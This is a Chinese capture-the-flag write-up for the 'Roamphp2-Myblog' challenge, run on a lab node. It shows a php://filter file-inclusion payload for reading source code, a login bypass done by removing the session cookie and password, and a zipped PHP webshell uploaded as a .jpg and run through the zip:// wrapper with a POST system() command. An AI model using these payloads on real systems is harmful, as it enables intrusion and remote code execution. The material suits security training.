github编辑

[极客大挑战 2020]Roamphp2-Myblog

[极客大挑战 2020]Roamphp2-Myblog

考点

  • PHP session登录逻辑漏洞

  • 文件上传

  • 文件上传+zip伪协议getshell

wp

链接像文件包含

http://caac6260-fed6-4ec8-9774-2bd683f115f2.node4.buuoj.cn:81/index.php?page=home

http://caac6260-fed6-4ec8-9774-2bd683f115f2.node4.buuoj.cn:81/index.php?page=php://filter/read=convert.base64-encode/resource=home

可以得到源码,只能读login.phphome.phpsecret.phpadmin/user.php

home.php全是HTML,只剩下登录的逻辑了,代码比较少,简化一下如下

<?php
// login.php
$secret_seed = mt_rand();
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();

// admin/user.php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
	die();
}
?>

从login.php登录,POST数据到admin/user.php进行校验。在校验时是比较输入的password与session中存储的password是否一致,但是如果没有sessionid,那么$_SESSION['password']的结果就是NULL,登录的时候密码不填就可以登录了。

burp抓包把Cookie和password的值删掉,在Forward即可

登录之后就是文件上传

前有文件包含,但是只能包含.php,后有文件上传,但是只能上传图片。这样就只剩下伪协议了,phar和zip

写一个一句话木马123.php,然后压缩成123.zip,改名为123.jpg,再上传,得到路径assets/img/upload/d522c95c5a225a8e313f30883076d6e34688ec6d.jpg

然后使用zip://伪协议?page=zip://assets/img/upload/d522c95c5a225a8e313f30883076d6e34688ec6d.jpg%23123

POST cmd=system("cat /flllaggggggggg_isssssssssss_heeeeeeeeeere");

最后更新于